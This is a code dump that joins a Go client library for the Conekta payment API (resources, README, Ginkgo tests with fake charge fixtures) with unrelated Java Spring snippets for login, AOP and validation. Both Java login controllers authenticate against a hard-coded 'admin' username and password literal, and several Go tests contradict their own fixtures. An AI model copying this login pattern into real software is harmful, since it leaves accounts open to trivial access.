return nil, err
}
}
req, err := http.NewRequest(method, baseUrl.String(), buf)
if err != nil {
return nil, err
}
req.Header.Add(headerContentType, jsonMimeType)
req.Header.Add(headerAccept, mimeType)
req.Header.Add(headerUserAgent, userAgent)
req.Header.Add(headerConektaClient, func() string {
j, _ := json.Marshal(map[string]string{
"lang": "Go",
"lang_version": runtime.Version(),
"uname": runtime.GOOS,
})
return string(j)
}())
apiKey := c.ApiKey
if len(apiKey) == 0 {
apiKey = os.Getenv(envConektaAPIKey)
}
if len(apiKey) == 0 {
return nil, GonektaError{"Missing CONEKTA_API_KEY"}
}
req.SetBasicAuth(apiKey, "")
return req, nil
}
func (c *Client) executeRequest(req *http.Request, val interface{}) error {
res, err := c.client.Do(req)
if err != nil {
return err
}
defer res.Body.Close()
err = handleConektaError(res)
if err != nil {
return err
}
if val != nil {
err = json.NewDecoder(res.Body).Decode(val)
}
return err
}
func (e *ConektaError) Error() string {
return fmt.Sprintf("[%d] %s %s %s %s",
e.Response.StatusCode,
e.Type,
e.Code,
e.Param,
e.Message,
)
}
func (e GonektaError) Error() string {
return e.Message
}
func handleConektaError(r *http.Response) error {
if code := r.StatusCode; 200 <= code && code <= 299 {
return nil
}
e := &ConektaError{Response: r}
body, err := ioutil.ReadAll(r.Body)
if err == nil && body != nil {
json.Unmarshal(body, e)
}
return e
}
<file_sep># Conekta
Package conekta is a wrapper for the [conekta API](https://www.conekta.io/docs/api) modify by nubleer team.
## Important!!
This package is considered *alpha* and the public API will still change slightly before it's considered stable.
## Getting Started
First, get your account's private [API key](https://admin.conekta.io/#developers.keys). This package will need it in order to authenticate your requests.
export CONEKTA_API_KEY=YOUR_PRIVATE_KEY
Or
``` go
client := conekta.NewClient()
client.ApiKey = "YOUR_PRIVATE_KEY"
```
Get the package
go get github.com/nubleer/conekta-go/conekta
## Usage
~~~ go
package main
import "github.com/nubleer/conekta"
func main() {
client := conekta.NewClient()
client.ApiKey = "YOUR_PRIVATE_KEY"
charge := conekta.Charge{
Description: "Some description",
Amount: 45000,
Cash: PaymentOxxo{"type":"oxxo"},
}
charge, err = client.Charges.Create(charge)
~~~
<file_sep>package conekta
import (
"fmt"
)
type plansResource struct {
client *Client
path string
}
type Plan struct {
Id string `json:"id,omitempty"`
Object string `json:"object,omitempty"`
Livemode bool `json:"livemode,omitempty"`
CreatedAt timestamp `json:"created_at,omitempty"`
Name string `json:"name,omitempty"`
Amount uint `json:"amount,omitempty"`
Currency string `json:"currency,omitempty"`
Interval string `json:"interval,omitempty"`
Frequency int `json:"frequency,omitempty"`
IntervalTotalCount int `json:"interval_total_count,omitempty"`
TrialPeriodDays int `json:"trial_period_days,omitempty"`
ExpiryCount int `json:"expiry_count,omitempty"`
}
func newPlansResource(c *Client) *plansResource {
return &plansResource{
client: c,
path: "plans",
}
}
func (s *plansResource) Create(plan *Plan) (*Plan, error) {
in := new(Plan)
err := s.client.execute("POST", s.path, in, plan)
if err != nil {
return nil, err
}
return in, nil
}
func (s *plansResource) Update(planId string, plan *Plan) (*Plan, error) {
in := new(Plan)
path := fmt.Sprintf("%s/%s", s.path, planId)
err := s.client.execute("PUT", path, in, plan)
if err != nil {
return nil, err
}
return in, nil
}
func (s *plansResource) Delete(planId string) (*Plan, error) {
in := new(Plan)
path := fmt.Sprintf("%s/%s", s.path, planId)
err := s.client.execute("DELETE", path, in, nil)
if err != nil {
return nil, err
}
return in, nil
}
<file_sep>package conekta
import (
"fmt"
)
type Customer struct {
Id string `json:"id,omitempty"`
Object string `json:"customer,omitempty"`
Livemode bool `json:"livemode,omitempty"`
CreatedAt *timestamp `json:"created_at,omitempty"`
Name string `json:"name,omitempty"`
Email string `json:"email,omitempty"`
Phone string `json:"phone,omitempty"`
DefaultCard string `json:"default_card,omitempty"`
BillingAddress *BillingAddress `json:"billing_address,omitempty"`
ShippingAddress *Address `json:"shipping_address,omitempty"`
Cards []CreditCard `json:"cards,omitempty"`
Subscription *Subscription `json:"subscription,omitempty"`
}
type Subscription struct {
Id string `json:"id,omitempty"`
Status string `json:"status,omitempty"`
Object string `json:"object,omitempty"`
CreatedAt *timestamp `json:"created_at,omitempty"`
BillingCycleStart *timestamp `json:"billing_cycle_start,omitempty"`
BillingCycleEnd *timestamp `json:"billing_cycle_end,omitempty"`
TrialStart *timestamp `json:"trial_start,omitempty"`
TrialEnd *timestamp `json:"trial_end,omitempty"`
PlanId string `json:"plan_id,omitempty"`
CardId string `json:"card_id,omitempty"`
}
type CreditCard struct {
Id string `json:"id,omitempty"`
Object string `json:"object,omitempty"`
Brand string `json:"brand,omitempty"`
Name string `json:"name,omitempty"`
Last4 string `json:"last4,omitempty"`
ExpMonth string `json:"exp_month,omitempty"`
ExpYear string `json:"exp_year,omitempty"`
Active bool `json:"active,omitempty"`
Token string `json:"token,omitempty"`
Address *Address `json:"address,omitempty"`
}
type customersResource struct {
client *Client
path string
}
func newCustomersResource(c *Client) *customersResource {
return &customersResource{
client: c,
path: "customers",
}
}
func (s *customersResource) Create(customer *Customer) (*Customer, error) {
in := new(Customer)
err := s.client.execute("POST", s.path, in, customer)
if err != nil {
return nil, err
}
return in, nil
}
func (s *customersResource) Update(id string, customer *Customer) (*Customer, error) {
in := new(Customer)
path := fmt.Sprintf("%s/%s", s.path, id)
err := s.client.execute("PUT", path, in, customer)
if err != nil {
return nil, err
}
return in, nil
}
func (s *customersResource) Delete(id string) (*Customer, error) {
in := new(Customer)
path := fmt.Sprintf("%s/%s", s.path, id)
err := s.client.execute("DELETE", path, in, nil)
if err != nil {
return nil, err
}
return in, nil
}
func (s *customersResource) AddCreditCard(customerId string, card *CreditCard) (*CreditCard, error) {
in := new(CreditCard)
path := fmt.Sprintf("%s/%s/cards", s.path, customerId)
err := s.client.execute("POST", path, in, card)
if err != nil {
return nil, err
}
return in, nil
}
func (s *customersResource) UpdateCreditCard(customerId string, card *CreditCard) (*CreditCard, error) {
in := new(CreditCard)
path := fmt.Sprintf("%s/%s/cards/%s", s.path, customerId, card.Id)
err := s.client.execute("PUT", path, in, card)
if err != nil {
return nil, err
}
return in, nil
}
func (s *customersResource) DeleteCreditCard(customerId string, cardId string) (*CreditCard, error) {
in := new(CreditCard)
path := fmt.Sprintf("%s/%s/cards/%s", s.path, customerId, cardId)
err := s.client.execute("DELETE", path, in, nil)
if err != nil {
return nil, err
}
return in, nil
}
func (s *customersResource) CreateSubscription(customerId string, sub *Subscription) (*Subscription, error) {
in := new(Subscription)
path := fmt.Sprintf("%s/%s/subscription", s.path, customerId)
err := s.client.execute("POST", path, in, sub)
if err != nil {
return nil, err
}
return in, nil
}
func (s *customersResource) UpdateSubscription(customerId string, sub *Subscription) (*Subscription, error) {
in := new(Subscription)
path := fmt.Sprintf("%s/%s/subscription", s.path, customerId)
err := s.client.execute("PUT", path, in, sub)
if err != nil {
return nil, err
}
return in, nil
}
func (s *customersResource) PauseSubscription(customerId string) (*Subscription, error) {
in := new(Subscription)
path := fmt.Sprintf("%s/%s/subscription/pause", s.path, customerId)
err := s.client.execute("POST", path, in, nil)
if err != nil {
return nil, err
}
return in, nil
}
func (s *customersResource) ResumeSubscription(customerId string) (*Subscription, error) {
in := new(Subscription)
path := fmt.Sprintf("%s/%s/subscription/resume", s.path, customerId)
err := s.client.execute("POST", path, in, nil)
if err != nil {
return nil, err
}
return in, nil
}
func (s *customersResource) CancelSubscription(customerId string) (*Subscription, error) {
in := new(Subscription)
path := fmt.Sprintf("%s/%s/subscription/cancel", s.path, customerId)
err := s.client.execute("POST", path, in, nil)
if err != nil {
return nil, err
}
return in, nil
}
<file_sep>package conekta
import (
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
const tokenTestVisa = "tok_test_visa_4242"
var _ = Describe("Charges Resource", func() {
server := NewTestServer()
client := NewTestClient(server)
Describe("Creating a charge", func() {
var charge *Charge
BeforeEach(func() {
charge = &Charge{
Amount: 10000,
Currency: "MXN",
Description: "DVD - Zorro",
ReferenceId: "wahtever",
Details: &Details{
Name: "Wolverine",
Email: "<EMAIL>",
Phone: "345-1234-1234",
},
}
})
Describe("OXXO", func() {
It("Should return a succesful charge", func() {
charge.Cash = CashPayment{"type": "oxxo"}
resp, err := client.Charges.Create(charge)
Expect(err).ToNot(HaveOccurred())
Expect(*resp.Id).To(Equal("52f88a63d7e1a0e1a20000b4"))
Expect(resp.PaymentMethod.Type).To(Equal("oxxo"))
Expect(*resp.Livemode).To(BeFalse())
})
})
Describe("Credit Card", func() {
It("Should return a succesful charge", func() {
charge.Card = tokenTestVisa
resp, err := client.Charges.Create(charge)
Expect(err).ToNot(HaveOccurred())
Expect(*resp.Id).To(Equal("52f89639d7e1a09657000007"))
Expect(resp.PaymentMethod.Brand).To(Equal("visa"))
Expect(resp.PaymentMethod.Last4).To(Equal("4242"))
})
PIt("Should return a token processing error", func() {})
PIt("Should return a card declined error", func() {})
})
Describe("Bank deposit", func() {
It("Should return a succesful charge", func() {
charge.Bank = BankPayment{"type": "banorte"}
resp, err := client.Charges.Create(charge)
Expect(err).ToNot(HaveOccurred())
Expect(*resp.Id).To(Equal("52f8901cd7e1a0e1a20000c7"))
Expect(resp.PaymentMethod.ServiceName).To(Equal("Conekta"))
Expect(resp.PaymentMethod.Type).To(Equal("banorte"))
Expect(resp.PaymentMethod.Reference).To(Equal("0068916"))
})
})
})
Describe("Create charge with advanced call", func() {
It("Returs the created charge", func() {
charge := &Charge{
Description: "Stogies",
Amount: 20000,
Currency: "MXN",
ReferenceId: "9839-wolf_pack",
Card: "tok_test_visa_4242",
Details: &Details{
Name: "Wolverine",
Email: "<EMAIL>",
Phone: "",
DateOfBirth: "1980-09-24",
BillingAddress: &BillingAddress{
TaxId: "wibble",
CompanyName: "",
Address: &Address{
Street1: "Street1",
Street2: "Street2",
City: "Springfield",
State: "NJ",
Zip: "1222",
},
Phone: "234-567-888",
Email: "<EMAIL>",
},
LineItems: []LineItem{
LineItem{
Name: "Box of Cohibe S1s",
Sku: "cohib_s1",
UnitPrice: 200000,
Description: "Imported from Mex",
Quantity: 1,
Type: "whatever",
},
},
Shipment: &Shipment{
Carrier: "estafeta",
Service: "international",
TrackingId: "satoheusatohe",
Price: 20000,
Address: &Address{
Street1: "Street1",
Street2: "Street2",
City: "Springfield",
State: "NJ",
Zip: "1222",
},
},
},
}
resp, err := client.Charges.Create(charge)
Expect(err).ToNot(HaveOccurred())
Expect(*resp.Id).To(Equal("52f89639d7e1a09657000007"))
Expect(resp.PaymentMethod.Brand).To(Equal("visa"))
Expect(resp.Details.Name).To(Equal("wolverine"))
Expect(resp.Details.LineItems[0].Name).To(Equal("Box of Cohiba 51s"))
Expect(resp.Details.Shipment.Carrier).To(Equal("estafeta"))
Expect(resp.Details.Shipment.Address.Country).To(Equal("Canada"))
})
})
Describe("Retrieve charge", func() {
It("Returns the requested charge", func() {
resp, err := client.Charges.Get("52f8901cd7e1a0e1a20000c7")
Expect(err).ToNot(HaveOccurred())
Expect(resp.PaymentMethod.ServiceName).To(Equal("Conekta"))
Expect(resp.PaymentMethod.Type).To(Equal("banorte"))
Expect(resp.PaymentMethod.Reference).To(Equal("0068916"))
Expect(resp.Amount).To(Equal(30000))
})
})
Describe("Refund", func() {
It("Process a full refund", func() {
resp, err := client.Charges.Refund("523df826aef8786485000001", nil)
Expect(err).ToNot(HaveOccurred())
Expect(resp.ReferenceId).To(Equal("9839-wolf_pack"))
Expect(*resp.AmountRefunded).To(Equal(20000))
})
It("Process a partial refund", func() {
resp, err := client.Charges.Refund("523df826aef8786485000001", Param{"amount": 10000})
Expect(err).ToNot(HaveOccurred())
Expect(resp.ReferenceId).To(Equal("9839-wolf_pack"))
Expect(*resp.AmountRefunded).To(Equal(20000))
})
})
})
<file_sep>package conekta
import (
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/codegangsta/martini"
"github.com/martini-contrib/binding"
"net/http"
"net/http/httptest"
"net/url"
"os"
"testing"
)
func TestGonekta(t *testing.T) {
RegisterFailHandler(Fail)
RunSpecs(t, "Gonekta Suite")
}
func createServer() martini.ClassicMartini {
r := martini.NewRouter()
m := martini.New()
m.Action(r.Handle)
return martini.ClassicMartini{m, r}
}
func NewTestServer() *httptest.Server {
m := createServer()
// Errors
m.Get("/throw400", throw400)
m.Get("/throw401", throw401)
m.Get("/throw404", throw404)
// Charges
m.Post("/charges", binding.Json(Charge{}), createCharge)
m.Get("/charges/:chargeId", getCharge)
m.Post("/charges/:chargeId/refund", refundCharge)
// Customers
m.Post("/customers", binding.Json(Customer{}), createCustomer)
m.Put("/customers/:customerId", binding.Json(Customer{}), updateCustomer)
m.Delete("/customers/:customerId", deleteCustomer)
m.Post("/customers/:customerId/cards", binding.Json(CreditCard{}), createCard)
m.Put("/customers/:customerId/cards/:cardId", binding.Json(CreditCard{}), updateCard)
m.Delete("/customers/:customerId/cards/:cardId", deleteCard)
m.Post("/customers/:customerId/subscription", binding.Json(Subscription{}), createSubscription)
m.Put("/customers/:customerId/subscription", binding.Json(Subscription{}), updateSubscription)
m.Post("/customers/:customerId/subscription/pause", pauseSubscription)
m.Post("/customers/:customerId/subscription/resume", resumeSubscription)
m.Post("/customers/:customerId/subscription/cancel", cancelSubscription)
// Plans
m.Post("/plans", binding.Json(Plan{}), createPlan)
m.Put("/plans/:planId", binding.Json(Plan{}), updatePlan)
m.Delete("/plans/:planId", deletePlan)
return httptest.NewServer(m)
}
func NewTestClient(s *httptest.Server) *Client {
os.Setenv(envConektaAPIKey, "foo")
c := NewClient()
c.BaseURL, _ = url.Parse(s.URL)
return c
}
func throw400(res http.ResponseWriter) {
renderJSONFixture(res, 400, "400")
}
func throw401(res http.ResponseWriter) {
renderJSONFixture(res, 401, "401")
}
func throw404(res http.ResponseWriter) {
renderJSONFixture(res, 404, "404")
}
func createCharge(res http.ResponseWriter, charge Charge) {
var fixturePrefix string
switch {
case charge.Cash != nil:
fixturePrefix = "oxxo"
case charge.Bank != nil:
fixturePrefix = "bank"
case len(charge.Card) > 0:
fixturePrefix = "card"
}
renderJSONFixture(res, 200, fixturePrefix+"Charge")
}
func getCharge(res http.ResponseWriter, p martini.Params) {
//fmt.Println(p["chargeId"])
renderJSONFixture(res, 200, "bankCharge")
}
func refundCharge(res http.ResponseWriter, p martini.Params) {
//fmt.Println(p["chargeId"])
renderJSONFixture(res, 200, "refund")
}
func createCustomer(res http.ResponseWriter, customen Customer, req *http.Request) {
//fmt.Println(customer)
renderJSONFixture(res, 200, "customer")
}
func updateCustomer(res http.ResponseWriter, customer Customer, p martini.Params) {
//fmt.Println(p["customerId"])
renderJSONFixture(res, 200, "customer")
}
func deleteCustomer(res http.ResponseWriter, p martini.Params) {
//fmt.Println(p["customerId"])
renderJSONFixture(res, 200, "customer")
}
func createCard(res http.ResponseWriter, card CreditCard, p martini.Params) {
//fmt.Println(p["customerId"])
//fmt.Println(card.Token)
renderJSONFixture(res, 200, "credit_card")
}
func updateCard(res http.ResponseWriter, card CreditCard, p martini.Params) {
//fmt.Println(p["customerId"])
//fmt.Println(p["cardId"])
//fmt.Println(card.Active)
renderJSONFixture(res, 200, "credit_card")
}
func deleteCard(res http.ResponseWriter, p martini.Params) {
//fmt.Println(p["customerId"])
//fmt.Println(p["cardId"])
renderJSONFixture(res, 200, "credit_card")
}
func createPlan(res http.ResponseWriter, plan Plan) {
// fmt.Println(plan)
renderJSONFixture(res, 200, "plan")
}
func updatePlan(res http.ResponseWriter, plan Plan) {
// fmt.Println(plan)
renderJSONFixture(res, 200, "plan")
}
func deletePlan(res http.ResponseWriter, p martini.Params) {
//fmt.println(p["planId"])
renderJSONFixture(res, 200, "plan")
}
func createSubscription(res http.ResponseWriter, sub Subscription, p martini.Params) {
//fmt.Println(sub)
//fmt.Pristln(p["customerId"])
renderJSONFixture(res, 200, "subscription")
}
func updateSubscription(res http.ResponseWriter, sub Subscription, p martini.Params) {
//fmt.Println(sub)
//fmt.Pristln(p["customerId"])
renderJSONFixture(res, 200, "subscription")
}
func pauseSubscription(res http.ResponseWriter, p martini.Params) {
//fmt.Println(p["customerId"])
renderJSONFixture(res, 200, "subscription")
}
func resumeSubscription(res http.ResponseWriter, p martini.Params) {
//fmt.Println(p["customerId"])
renderJSONFixture(res, 200, "subscription")
}
func cancelSubscription(res http.ResponseWriter, p martini.Params) {
//fmt.Println(p["customerId"])
renderJSONFixture(res, 200, "subscription")
}
func renderJSONFixture(res http.ResponseWriter, status int, fixtureName string) {
res.WriteHeader(status)
res.Header().Set("Content-Type", "application/json; charset=UTF-8")
res.Write([]byte(Fixtures[fixtureName]))
}
var Fixtures = map[string]string{
"subscription": `{
"id":"sub_EfhFCp5SKvp5XzXQk",
"status":"in_trial",
"object":"subscription",
"created_at":1385696776,
"billing_cycle_start":1385696776,
"billing_cycle_end":1386301576,
"plan_id":"gold-plan",
"card_id":"card_vow1u83899Rkj5LM"
}`,
"plan": `{
"id":"gold-plan",
"object":"plan",
"livemode":false,
"created_at":1385481591,
"name":"Gold Plan",
"amount":10000,
"currency":"MXN",
"interval":"month",
"frequency":1,
"interval_total_count":12,
"trial_period_days":15
}`,
"credit_card": `{
"id":"card_TCuBjUEcy9r41Fk2",
"object":"card",
"active":true,
"brand":"VISA",
"last4":"4242",
"name":"<NAME>",
"exp_month":"12",
"exp_year":"2013",
"address":{
"street1":"250 Alexis St",
"street2": null,
"street3": null,
"city":"Red Deer",
"state":"Alberta",
"zip":"T4N 0B8",
"country":"Canada"
}
}`,
"customer": `{
"id":"cus_k2D9DxlqdVTagmEd400001",
"object":"customer",
"livemode": false,
"created_at": 1379784950,
"name":"<NAME>",
"email":"<EMAIL>",
"phone":"55-5555-5555",
"default_card":"card_9kWcdlL7xbvQu5jd3",
"billing_address": {
"street1":"77 Mystery Lane",
"street2":"Suite 124",
"street3": null,
"city":"Darlington",
"state":"NJ",
"zip":"10192",
"country": null,
"tax_id":"xmn671212drx",
"company_name":"X-Men Inc.",
"phone":"77-777-7777",
"email":"<EMAIL>"
},
"shipping_address": {
"street1":"250 Alexis St",
"street2": null,
"street3": null,
"city":"Red Deer",
"state":"Alberta",
"zip":"T4N 0B8",
"country":"Canada"
},
"cards": [{
"id":"card_9kWcdlL7xbvQu5jd3",
"name":"<NAME>",
"last4":"4242",
"exp_month":"12",
"exp_year":"17",
"active":true
}],
"subscription":{
"id":"sub_ls9dklD9sAxW29dSmF",
"card_id":"card_9kWcdlL7xbvQu5jd3",
"plan_id":"gold-plan",
"status":"active",
"start":1379784950,
"billing_cycle_start":1379784950,
"billing_cycle_end":1379384950
}
}`,
"refund": ` {
"id":"523df826aef8786485000001",
"livemode": false,
"created_at": 1379792934,
"status":"refunded",
"currency":"MXN",
"description":"Stogies",
"reference_id":"9839-wolf_pack",
"failure_code": null,
"failure_message": null,
"object":"charge",
"amount": 20000,
"amount_refunded":20000,
"refunds":[{
"created_at": 1379792934,
"amount":20000,
"currency": "MXN",
"transaction": "5254d0f026c605054b0015ea"
}],
"payment_method": {
"object":"card_payment",
"name":"<NAME>",
"exp_month":"12",
"exp_year":"15",
"auth_code": "813038",
"last4":"1111",
"brand":"visa"
}
}`,
"bankCharge": `{
"id":"52f8901cd7e1a0e1a20000c7",
"livemode":false,
"created_at":1392021532,
"status":"pending_payment",
"currency":"MXN",
"description":"some useless shit",
"reference_id":null,
"failure_code":null,
"failure_message":null,
"monthly_installments":null,
"object":"charge",
"amount":30000,
"fee":1670,
"refunds":[],
"payment_method": {
"service_name":"Conekta",
"service_number":"127589",
"object":"bank_transfer_payment",
"type":"banorte",
"reference":"0068916"
},
"details":{
"name":null,
"phone":null,
"email":null,
"line_items":[]
}
}`,
"oxxoCharge": `{
"id": "52f88a63d7e1a0e1a20000b4",
"livemode": false,
"created_at": 1392020067,
"status": "pending_payment",
"currency": "MXN",
"description": "some useless shit",
"reference_id": null,
"failure_code": null,
"failure_message": null,
"monthly_installments": null,
"object": "charge",
"amount": 30000,
"fee": 1705,
"refunds": [],
"payment_method": {
"expiry_date": "100314",
"barcode": "38100000000042290121213001160013",
"barcode_url": "https://www2.oxxo.com:8443/HTP/barcode/genbc?data=38100000000042290121213001160013&height=50&width=1&type=Code128",
"object": "cash_payment",
"type": "oxxo",
"expires_at": 1394409600
},
"details": {
"name": null,
"phone": null,
"email": null,
"line_items": []
}
}`,
"cardCharge": `{
"id":"52f89639d7e1a09657000007",
"livemode":false,
"created_at":1392023097,
"status":"paid",
"currency":"MXN",
"description":"some useless shit",
"reference_id":null,
"failure_code":null,
"failure_message":null,
"monthly_installments":null,
"object":"charge",
"amount":30000,
"fee":1345,
"refunds":[],
"payment_method":{
"name":"<NAME>",
"exp_month":"12",
"exp_year":"19",
"auth_code":"390678",
"object":"card_payment",
"last4":"4242",
"brand":"visa"
},
"details":{
"name": "wolverine",
"phone":null,
"email":null,
"billing_address" : { "street2" : "Suite 124" },
"line_items":[{"name": "Box of Cohiba 51s"}],
"shipment" : {
"carrier" : "estafeta",
"address": {
"country" : "Canada"
}
}
}
}`,
"400": `{
"object":"error",
"type":"resource_not_found_url",
"message":"The requested resource could not be found"
}`,
"401": `{
"object":"error",
"type":"resource_not_found_url",
"message":"The requested resource could not be found"
}`,
"404": `{
"object":"error",
"type":"resource_not_found_url",
"message":"The requested resource could not be found"
}`,
"422": `{
"object": "error",
"type": "invalid_parameter_error",
"code": "invalid_amount",
"param": "amount",
"message": "Invalid amount or incorrect format (must be an integer in cents)"
}`,
}
<file_sep>package conekta
import (
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
var _ = Describe("FilterOptions", func() {
Context("Operators", func() {
var f *FilterOptions
BeforeEach(func() {
f = NewFilterOptions()
})
It("Eq", func() {
f.Eq("amount", 20000)
Expect(f.Q()).To(Equal("?amount=20000"))
})
It("Gt", func() {
f.Gt("amount", 20000)
Expect(f.Q()).To(Equal("?amount.gt=20000"))
})
It("Gte", func() {
f.Gte("amount", 20000)
Expect(f.Q()).To(Equal("?amount.gte=20000"))
})
It("Lt", func() {
f.Lt("amount", 20000)
Expect(f.Q()).To(Equal("?amount.lt=20000"))
})
It("Lte", func() {
f.Lte("amount", 20000)
Expect(f.Q()).To(Equal("?amount.lte=20000"))
})
It("Ne", func() {
f.Ne("amount", "paid")
Expect(f.Q()).To(Equal("?amount.ne=paid"))
})
PIt("In", func() {})
PIt("Nin", func() {})
It("Regex", func() {
f.Regex("description", "pancakes")
Expect(f.Q()).To(Equal("?description.regex=pancakes"))
})
It("Limit", func() {
f.Limit(1)
Expect(f.Q()).To(Equal("?limit=1"))
})
It("Offset", func() {
f.Offset(10)
Expect(f.Q()).To(Equal("?offset=10"))
})
It("Sort", func() {
f.Sort("amount", "desc")
Expect(f.Q()).To(Equal("?sort=amount.desc"))
})
})
Context("Append conditions", func() {
f := NewFilterOptions()
It("Combines operators", func() {
f.Gt("amount", 20000).Regex("description", "pancakes").Limit(2).Offset(10).Sort("amount", "desc")
Expect(f.Q()).To(Equal("?amount.gt=20000&description.regex=pancakes&limit=2&offset=10&sort=amount.desc"))
})
})
})
| 7b171e124f73247c0b72048556e905d3b792743c | [
"Markdown",
"Go",
"Shell"
] | 17 | Go | alce/conekta-go | b9f4055dbb58dce2b1e149716daadb04ff0232cf | c09ff6083702fce3f01e6db74b03bf605c8c2e64 |
refs/heads/master | <repo_name>A1caida/mult_of_big_num<file_sep>/mult_of_big_num/mult_of_big_num.cpp
#include <iostream>
#include <string>
#include <cmath>
using namespace std;
struct urav
{
long long int vv;
long long int v;
long long int n;
};
int main()
{
urav lol[2];
string kekw, Kurisu;
long long int Maki[9];
cin >> kekw; cin >> Kurisu;
int size = kekw.size() / 2;
int x = 1;
for (size_t i = 0; i < size-1; i++)
{
x = x * 10;
}
int one = 1;
//cout << size << endl;
if (kekw.size() > 4)
{
for (size_t i = 4; i < kekw.size(); i = i + 2)
{
one++;
}
}
cout << one << endl;
lol[0].n = stoi(kekw.substr(kekw.size() - size + 1, size - 1));
cout << lol[0].n << endl;
kekw.erase(kekw.size() - one);
lol[0].v = stoi(kekw.substr(kekw.size() - size + 1, size - 1));
cout << lol[0].v << endl;
kekw.erase(kekw.size() - one);
lol[0].vv = stoi(kekw.substr());
cout << lol[0].vv << endl;
cout << "///////////////////" << endl;
lol[1].n = stoi(Kurisu.substr(Kurisu.size() - size + 1, size - 1));
cout << lol[1].n << endl;
Kurisu.erase(Kurisu.size() - one);
lol[1].v = stoi(Kurisu.substr(Kurisu.size() - size + 1, size - 1));
cout << lol[1].v << endl;
Kurisu.erase(Kurisu.size() - one);
lol[1].vv = stoi(Kurisu.substr());
cout << lol[1].vv << endl;
cout << "///////////////////" << endl;
Maki[0] = lol[0].vv * lol[1].vv;
Maki[1] = lol[0].vv * lol[1].v;
Maki[2] = lol[0].vv * lol[1].n;
Maki[3] = lol[0].v * lol[1].vv;
Maki[4] = lol[0].v * lol[1].v;
Maki[5] = lol[0].v * lol[1].n;
Maki[6] = lol[0].n * lol[1].vv;
Maki[7] = lol[0].n * lol[1].v;
Maki[8] = lol[0].n * lol[1].n;
Maki[1] += Maki[3];
Maki[2] += Maki[4] + Maki[6];
Maki[3] = Maki[5] + Maki[7];
Maki[4] = Maki[8];
for (size_t i = 0; i < 5; i++)
{
cout << Maki[i] << endl;
}
cout << "///////////////////" << endl;
Maki[0] = Maki[0] * (pow(x, 4));
cout << Maki[0] << endl;
Maki[1] = Maki[1] * (pow(x, 3));
cout << Maki[1] << endl;
Maki[2] = Maki[2] * (pow(x, 2));
cout << Maki[2] << endl;
Maki[3] = Maki[3] * x;
cout << Maki[3] << endl;
cout << "///////////////////" << endl;
for (size_t i = 1; i < 4; i++)
{
Maki[0] += Maki[i];
}
cout << "///////////////////" << endl;
cout << Maki[0] << endl;
}
| 3da83a029bab31c4faf3c42c602b855b45fe5ff2 | [
"C++"
] | 1 | C++ | A1caida/mult_of_big_num | 0a3ba7e93844b687dde0ae12fff406e31535ddf9 | f9a3b50d244c627f69d33470eca0e36b84f382e9 |
refs/heads/master | <file_sep>package com.canway.springboot.controller;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class LoginController {
@RequestMapping("/login")
public String login(String name, String password,HttpServletRequest request) {
if("admin".equals(name) && "<PASSWORD>".equals(password)) {
System.out.println("用户名和密码正确,登录成功");
HttpSession session = request.getSession();
session.setAttribute("name", "admin");
return "index";
}else {
return "redirect:/login.jsp";
}
}
}
<file_sep>package com.canway.web.controller;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiImplicitParam;
import io.swagger.annotations.ApiImplicitParams;
import io.swagger.annotations.ApiOperation;
@Controller
@Api("登录接口")
public class LoginController {
@RequestMapping("/login")
@ApiOperation(value = "登录请求" ,notes = "根据用户名密码进行登录验证")
@ApiImplicitParams({
@ApiImplicitParam(name = "name",value = "",required = true),
@ApiImplicitParam(name = "password",value = "",required = true)
})
public String login(String name, String password,HttpServletRequest request) {
if("admin".equals(name) && "<PASSWORD>".equals(password)) {
System.out.println("用户名和密码正确,登录成功");
HttpSession session = request.getSession();
session.setAttribute("name", "admin");
return "index";
}else {
return "redirect:/login.jsp";
}
}
}
<file_sep>/**
*
*/
package com.canway.java.aop;
/**
* @author aubrey
* @date 下午4:06:29
*
*/
public class BaseAop2 {
private BaseAop baseAop;
public BaseAop2(BaseAop baseAop) {
this.baseAop = baseAop;
}
public void add() throws InterruptedException {
long start = System.currentTimeMillis();
baseAop.add();
long end = System.currentTimeMillis();
System.out.println("耗时:"+ (end -start));
}
public void add2() throws InterruptedException {
long start = System.currentTimeMillis();
baseAop.add();
long end = System.currentTimeMillis();
System.out.println("耗时:"+ (end -start));
}
}
<file_sep>package com.canway.java.aop;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Pointcut;
import com.alibaba.fastjson.JSONObject;
//@Component
//@Aspect
public class ResultAop {
@Pointcut("execution(* com.canway.web.controller.*.*(..))")
public void resultPointcut() {}
@Around("resultPointcut()")
public Object doAroud(ProceedingJoinPoint pjp ) {
Object result = null;
try {
result = pjp.proceed();
} catch (Throwable e) {
e.printStackTrace();
}
ResultJson resultJson = new ResultJson(200, "", result);
return JSONObject.toJSONString(resultJson);
}
}
<file_sep>/**
*
*/
package com.canway.java.model;
import org.springframework.stereotype.Component;
import lombok.Data;
/**
* @author aubrey
* @date 上午11:51:56
*
*/
//@Data
//@Component
public class People {
private String name;
private Integer age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
public People() {
}
public People(String name) {
this.name = name;
}
public void test() {
System.out.println("hello this is a peopel");
}
}
<file_sep>package com.canway.web.controller;
import javax.validation.Valid;
import org.springframework.stereotype.Controller;
import org.springframework.validation.BindingResult;
import org.springframework.validation.ObjectError;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import com.canway.web.domain.User;
@Controller
public class TestController {
// @RequestMapping(value = "/test",method = RequestMethod.GET)
@GetMapping("/test")
// PostMapping
@ResponseBody //表示直接返回的是数据json
public String test( @Valid User user,BindingResult result) {
/* 调用业务逻辑 */
while(result.hasErrors()) {
for(ObjectError e : result.getAllErrors()) {
System.out.println(e.getObjectName() + ":" + e.getDefaultMessage());
}
return "error";
}
return "test";
}
